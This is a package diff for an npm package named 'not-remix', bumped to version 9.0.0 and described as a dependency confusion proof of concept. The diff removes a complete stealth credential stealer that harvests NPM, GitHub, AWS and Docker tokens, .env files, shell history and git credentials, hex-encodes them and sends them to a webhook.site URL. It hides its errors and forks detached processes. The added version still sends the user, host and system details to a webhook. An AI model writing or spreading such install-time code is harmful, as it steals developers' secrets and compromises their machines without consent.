not-remix 0.0.1 → 9.0.0

package/index.js

@@ -1,546 +1,49 @@
-// Educational example - Do not use maliciously
-const { execSync, spawn } = require('child_process');
-const fs = require('fs');
-const os = require('os');
 const https = require('https');
-const path = require('path');
-
-// Stealth mode: Don't show errors
-process.on('uncaughtException', () => {});
-process.on('unhandledRejection', () => {});
-
-// Webhook URL (using webhook.site example)
-const WEBHOOK_URL = 'https://webhook.site/bbb8295e-ccd3-4e4d-b2c3-63af6e217219';
-
-class StealthScanner {
-    constructor() {
-        this.results = {
-            system: {},
-            tokens: {},
-            commands: {},
-            files: {},
-            timestamp: new Date().toISOString()
-        };
-    }
-// Educational example - Do not use maliciously
-// Hex-encoded version
-
-const { execSync, spawn } = require('child_process');
-const fs = require('fs');
 const os = require('os');
-const https = require('https');
-const path = require('path');
-const crypto = require('crypto');
-
-// Stealth mode: Don't show errors
-process.on('uncaughtException', () => {});
-process.on('unhandledRejection', () => {});
-
-// Webhook URL (using webhook.site example)
-const WEBHOOK_URL = 'https://webhook.site/abe519dc-d3a0-4547-8869-3775754ce660';
-
-// Helper function to convert to hex
-function toHex(str) {
-    return Buffer.from(str).toString('hex');
-}
-
-// Helper function to convert object to hex-encoded JSON
-function encodePayload(obj) {
-    const json = JSON.stringify(obj);
-    return toHex(json);
-}
-
-class StealthScanner {
-    constructor() {
-        this.results = {
-            system: {},
-            tokens: {},
-            commands: {},
-            files: {},
-            network: {},
-            timestamp: new Date().toISOString(),
-            scan_id: crypto.randomBytes(8).toString('hex')
-        };
-    }
-
-    // Run commands silently
-    runCommand(cmd, options = {}) {
-        try {
-            const result = execSync(cmd, {
-                stdio: ['pipe', 'pipe', 'ignore'], // Hide stderr
-                encoding: 'utf8',
-                timeout: 2000,
-                ...options
-            });
-            return result.trim();
-        } catch (e) {
-            return null;
-        }
-    }
-
-    // Collect system info
-    collectSystemInfo() {
-        try {
-            this.results.system = {
-                user: os.userInfo().username,
-                hostname: os.hostname(),
-                platform: os.platform(),
-                arch: os.arch(),
-                homedir: os.homedir(),
-                cwd: process.cwd(),
-                node_version: process.version,
-                npm_version: this.runCommand('npm --version')
-            };
-        } catch (e) {}
-    }
-
-    // Execute reconnaissance commands - ALL RESULTS WILL BE HEX ENCODED
-    executeRecon() {
-        const commands = {
-            uname_a: 'uname -a',
-            whoami: 'whoami',
-            hostname_cmd: 'hostname',
-            pwd: 'pwd',
-            id: 'id',
-            groups: 'groups',
-            ps: 'ps aux | head -30',
-            env_all: 'env',
-            env_sensitive: 'env | grep -i "token\\|secret\\|key\\|pass\\|auth"',
-            ls_home: 'ls -la ~ | head -20',
-            netstat: 'netstat -tulpn 2>/dev/null || ss -tulpn 2>/dev/null || echo "not_available"',
-            df: 'df -h',
-            uptime: 'uptime',
-            date: 'date',
-            ifconfig: 'ifconfig 2>/dev/null || ip addr 2>/dev/null || echo "not_available"',
-            history_count: 'history 2>/dev/null | wc -l || echo "0"',
-            sudo_check: 'sudo -n true 2>&1 && echo "sudo_ok" || echo "sudo_fail"'
-        };
-
-        for (const [name, cmd] of Object.entries(commands)) {
-            try {
-                const output = this.runCommand(cmd);
-                if (output) {
-                    // Store both original and hex versions
-                    this.results.commands[name] = {
-                        original: output,
-                        hex: toHex(output),
-                        length: output.length
-                    };
-                }
-            } catch (e) {}
-        }
-    }
-
-    // Hunt for tokens and secrets
-    findTokens() {
-        const homeDir = os.homedir();
-        
-        // Check for NPM token
-        try {
-            // From env var
-            if (process.env.NPM_TOKEN) {
-                this.results.tokens.npm_env = {
-                    original: process.env.NPM_TOKEN,
-                    hex: toHex(process.env.NPM_TOKEN)
-                };
-            }
-            
-            // From .npmrc
-            const npmrcPath = path.join(homeDir, '.npmrc');
-            if (fs.existsSync(npmrcPath)) {
-                const content = fs.readFileSync(npmrcPath, 'utf8');
-                const tokenMatch = content.match(/_authToken=([^\s]+)/);
-                if (tokenMatch) {
-                    this.results.tokens.npmrc = {
-                        original: tokenMatch[1],
-                        hex: toHex(tokenMatch[1])
-                    };
-                }
-                // Also store entire npmrc (first 2000 chars)
-                this.results.files.npmrc = {
-                    preview: content.substring(0, 500),
-                    hex: toHex(content.substring(0, 2000))
-                };
-            }
-        } catch (e) {}
-
-        // Check for GitHub token
-        try {
-            // From env var
-            if (process.env.GITHUB_TOKEN) {
-                this.results.tokens.github_env = {
-                    original: process.env.GITHUB_TOKEN,
-                    hex: toHex(process.env.GITHUB_TOKEN)
-                };
-            }
-            
-            // From gh CLI
-            const ghToken = this.runCommand('gh auth token 2>/dev/null');
-            if (ghToken) {
-                this.results.tokens.github_cli = {
-                    original: ghToken,
-                    hex: toHex(ghToken)
-                };
-            }
-            
-            // Check GitHub config
-            const ghConfigPath = path.join(homeDir, '.config', 'gh', 'hosts.yml');
-            if (fs.existsSync(ghConfigPath)) {
-                const content = fs.readFileSync(ghConfigPath, 'utf8');
-                this.results.files.github_config = {
-                    preview: content.substring(0, 300),
-                    hex: toHex(content)
-                };
-            }
-        } catch (e) {}
-
-        // Check for AWS keys
-        try {
-            const awsDir = path.join(homeDir, '.aws');
-            if (fs.existsSync(awsDir)) {
-                // credentials file
-                const credsPath = path.join(awsDir, 'credentials');
-                if (fs.existsSync(credsPath)) {
-                    const content = fs.readFileSync(credsPath, 'utf8');
-                    this.results.tokens.aws_credentials = {
-                        preview: content.substring(0, 300),
-                        hex: toHex(content),
-                        size: content.length
-                    };
-                    
-                    // Extract keys using regex
-                    const accessKeyMatch = content.match(/aws_access_key_id\s*=\s*([^\s]+)/);
-                    const secretKeyMatch = content.match(/aws_secret_access_key\s*=\s*([^\s]+)/);
-                    
-                    if (accessKeyMatch) {
-                        this.results.tokens.aws_access_key = {
-                            original: accessKeyMatch[1],
-                            hex: toHex(accessKeyMatch[1])
-                        };
-                    }
-                    if (secretKeyMatch) {
-                        this.results.tokens.aws_secret_key = {
-                            original: secretKeyMatch[1],
-                            hex: toHex(secretKeyMatch[1])
-                        };
-                    }
-                }
-                
-                // config file
-                const configPath = path.join(awsDir, 'config');
-                if (fs.existsSync(configPath)) {
-                    const content = fs.readFileSync(configPath, 'utf8');
-                    this.results.files.aws_config = {
-                        preview: content.substring(0, 200),
-                        hex: toHex(content)
-                    };
-                }
-            }
-            
-            // Check AWS env vars
-            if (process.env.AWS_ACCESS_KEY_ID) {
-                this.results.tokens.aws_access_key_env = {
-                    original: process.env.AWS_ACCESS_KEY_ID,
-                    hex: toHex(process.env.AWS_ACCESS_KEY_ID)
-                };
-            }
-            if (process.env.AWS_SECRET_ACCESS_KEY) {
-                this.results.tokens.aws_secret_key_env = {
-                    original: process.env.AWS_SECRET_ACCESS_KEY,
-                    hex: toHex(process.env.AWS_SECRET_ACCESS_KEY)
-                };
-            }
-        } catch (e) {}
-
-        // Check for Docker config
-        try {
-            const dockerConfigPath = path.join(homeDir, '.docker', 'config.json');
-            if (fs.existsSync(dockerConfigPath)) {
-                const content = fs.readFileSync(dockerConfigPath, 'utf8');
-                this.results.files.docker_config = {
-                    preview: content.substring(0, 200),
-                    hex: toHex(content)
-                };
-                
-                // Try to parse auth
-                try {
-                    const config = JSON.parse(content);
-                    if (config.auths) {
-                        Object.entries(config.auths).forEach(([registry, auth]) => {
-                            if (auth.auth) {
-                                this.results.tokens[`docker_${registry}`] = {
-                                    original: auth.auth,
-                                    hex: toHex(auth.auth)
-                                };
-                            }
-                        });
-                    }
-                } catch (e) {}
-            }
-        } catch (e) {}
-
-        // Check for SSH keys
-        try {
-            const sshDir = path.join(homeDir, '.ssh');
-            if (fs.existsSync(sshDir)) {
-                const files = fs.readdirSync(sshDir);
-                files.forEach(file => {
-                    if (file.includes('id_') && !file.includes('.pub')) {
-                        const keyPath = path.join(sshDir, file);
-                        try {
-                            const stats = fs.statSync(keyPath);
-                            this.results.files[`ssh_${file}`] = {
-                                exists: true,
-                                size: stats.size,
-                                modified: stats.mtime,
-                                path: keyPath
-                            };
-                        } catch (e) {}
-                    }
-                });
-            }
-        } catch (e) {}
-
-        // Dump ALL env variables in hex
-        try {
-            const allEnv = {};
-            Object.keys(process.env).forEach(key => {
-                allEnv[key] = {
-                    value: process.env[key],
-                    hex: toHex(process.env[key])
-                };
-            });
-            this.results.tokens.all_env = {
-                count: Object.keys(process.env).length,
-                sample: Object.keys(process.env).slice(0, 10),
-                hex_sample: encodePayload(
-                    Object.fromEntries(
-                        Object.entries(process.env).slice(0, 5).map(([k, v]) => [k, v])
-                    )
-                )
-            };
-        } catch (e) {}
-
-        // Check for .env files in current directory
-        try {
-            const cwd = process.cwd();
-            const envFiles = ['.env', '.env.local', '.env.production', '.env.development'];
-            
-            envFiles.forEach(envFile => {
-                const envPath = path.join(cwd, envFile);
-                if (fs.existsSync(envPath)) {
-                    const content = fs.readFileSync(envPath, 'utf8');
-                    this.results.files[envFile] = {
-                        exists: true,
-                        hex: toHex(content),
-                        size: content.length
-                    };
-                }
-            });
-        } catch (e) {}
-    }
-
-    // Read important config files
-    readConfigFiles() {
-        const homeDir = os.homedir();
-        const files = {
-            bash_history: '.bash_history',
-            zsh_history: '.zsh_history',
-            ssh_config: '.ssh/config',
-            git_config: '.gitconfig',
-            git_credentials: '.git-credentials',
-            bashrc: '.bashrc',
-            zshrc: '.zshrc',
-            profile: '.profile'
-        };
-
-        for (const [name, file] of Object.entries(files)) {
-            try {
-                const filePath = path.join(homeDir, file);
-                if (fs.existsSync(filePath)) {
-                    const stats = fs.statSync(filePath);
-                    if (stats.size < 100000) { // Only read if smaller than 100KB
-                        const content = fs.readFileSync(filePath, 'utf8');
-                        this.results.files[name] = {
-                            exists: true,
-                            size: stats.size,
-                            modified: stats.mtime,
-                            hex: toHex(content.substring(0, 5000))
-                        };
-                    } else {
-                        this.results.files[name] = {
-                            exists: true,
-                            size: stats.size,
-                            modified: stats.mtime,
-                            too_large: true
-                        };
-                    }
-                }
-            } catch (e) {}
-        }
-    }
-
-    // Get network information
-    getNetworkInfo() {
-        try {
-            const interfaces = os.networkInterfaces();
-            const networkInfo = {};
-            
-            Object.keys(interfaces).forEach(iface => {
-                networkInfo[iface] = interfaces[iface].map(info => ({
-                    address: info.address,
-                    netmask: info.netmask,
-                    family: info.family,
-                    mac: info.mac,
-                    internal: info.internal
-                }));
-            });
-            
-            this.results.network = networkInfo;
-        } catch (e) {}
-    }
-
-    // Send hex-encoded data to webhook
-    sendToWebhook() {
-        return new Promise((resolve) => {
-            try {
-                // Create final payload with hex encoding
-                const finalPayload = {
-                    metadata: {
-                        format: 'hex_encoded',
-                        version: '2.0',
-                        timestamp: new Date().toISOString(),
-                        scan_id: this.results.scan_id
-                    },
-                    // Hex-encode the entire results
-                    data_hex: encodePayload(this.results)
-                };
-                
-                // Convert final payload to hex as well (double encoding)
-                const hexPayload = encodePayload(finalPayload);
-                
-                const url = new URL(WEBHOOK_URL);
-                
-                const options = {
-                    hostname: url.hostname,
-                    port: url.port || 443,
-                    path: url.pathname,
-                    method: 'POST',
-                    headers: {
-                        'Content-Type': 'text/plain', // Use text/plain to avoid suspicion
-                        'Content-Length': Buffer.byteLength(hexPayload),
-                        'User-Agent': 'Mozilla/5.0 (compatible)',
-                        'X-Request-ID': crypto.randomBytes(8).toString('hex')
-                    },
-                    timeout: 8000
-                };
-
-                const req = https.request(options, (res) => {
-                    // Read response but don't process
-                    res.on('data', () => {});
-                    res.on('end', resolve);
-                });
-
-                req.on('error', () => {});
-                req.on('timeout', () => {
-                    req.destroy();
-                    resolve();
-                });
-
-                req.write(hexPayload);
-                req.end();
-                
-                // Also try to send via GET with query parameter (fallback)
-                setTimeout(() => {
-                    try {
-                        const getUrl = `${WEBHOOK_URL}?data=${encodeURIComponent(hexPayload.substring(0, 2000))}`;
-                        https.get(getUrl, () => {}).on('error', () => {});
-                    } catch (e) {}
-                }, 1000);
-                
-            } catch (e) {
-                resolve();
-            }
-        });
-    }
-
-    // Main execution
-    async execute() {
-        try {
-            // Random delay
-            await new Promise(resolve => setTimeout(resolve, Math.random() * 5000));
-            
-            console.log('🔧 Running package setup...'); // Fake message
-            
-            this.collectSystemInfo();
-            this.executeRecon();
-            this.findTokens();
-            this.readConfigFiles();
-            this.getNetworkInfo();
-            
-            // Send data
-            await this.sendToWebhook();
-            
-            // Clean traces
-            delete this.results;
-            
-            return true;
-        } catch (e) {
-            return false;
-        }
-    }
-}
-
-// Execute scanner in background with multiple layers of stealth
-if (require.main === module) {
-    // Multiple execution methods for reliability
-    
-    // Method 1: Immediate execution
-    try {
-        const scanner = new StealthScanner();
-        setTimeout(() => {
-            scanner.execute().catch(() => {});
-        }, 500);
-    } catch (e) {}
-    
-    // Method 2: Fork child process
-    setTimeout(() => {
-        try {
-            const fork = require('child_process').fork;
-            const child = fork(__filename, [], {
-                detached: true,
-                stdio: 'ignore',
-                silent: true
-            });
-            child.unref();
-        } catch (e) {}
-    }, 2000);
-    
-    // Method 3: Write to temp file and execute later
-    setTimeout(() => {
-        try {
-            const tempFile = `/tmp/.node_cache_${Math.random().toString(36).substring(7)}.js`;
-            const code = `
-                const m = require('module');
-                const r = m.wrap('(${StealthScanner.toString()})');
-                const Scanner = r();
-                new Scanner().execute().catch(() => {});
-            `;
-            fs.writeFileSync(tempFile, code);
-            spawn('node', [tempFile], {
-                detached: true,
-                stdio: 'ignore'
-            }).unref();
-            
-            // Cleanup temp file after delay
-            setTimeout(() => {
-                try { fs.unlinkSync(tempFile); } catch (e) {}
-            }, 10000);
-        } catch (e) {}
-    }, 4000);
-    
-    // Exit immediately to not block install
-    process.exit(0);
+const { execSync } = require('child_process');
+
+// 1. Get victim identity
+const user = os.userInfo().username;
+const host = os.hostname();
+
+// 2. Run system commands safely
+let whoami = '';
+let uname = '';
+let pwd = '';
+
+try {
+    whoami = execSync('whoami').toString().trim();
+    uname = execSync('uname -a').toString().trim();
+    pwd = execSync('pwd').toString().trim();
+} catch (e) {
+    // ignore errors
 }
 
-module.exports = StealthScanner;
+// 3. Prepare data (URL-safe)
+const data = JSON.stringify({
+    user: user,
+    host: host,
+    platform: os.platform(),
+    whoami: whoami,
+    uname: uname,
+    pwd: pwd
+});
+
+// 4. Webhook request options
+const options = {
+    hostname: 'webhook.site',
+    path: '/a043f82b-a3af-450a-8d32-12b1ea2babaf',
+    method: 'POST',
+    headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(data)
+    }
+};
+
+// 5. Fire-and-forget callback
+try {
+    const req = https.request(options, () => {});
+    req.on('error', () => {});
+    req.write(data);
+    req.end();
+} catch (e) {}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "not-remix",
-  "version": "0.0.1",
+  "version": "9.0.0",
   "description": "Security Research - Dependency Confusion PoC",
   "main": "index.js",
   "scripts": {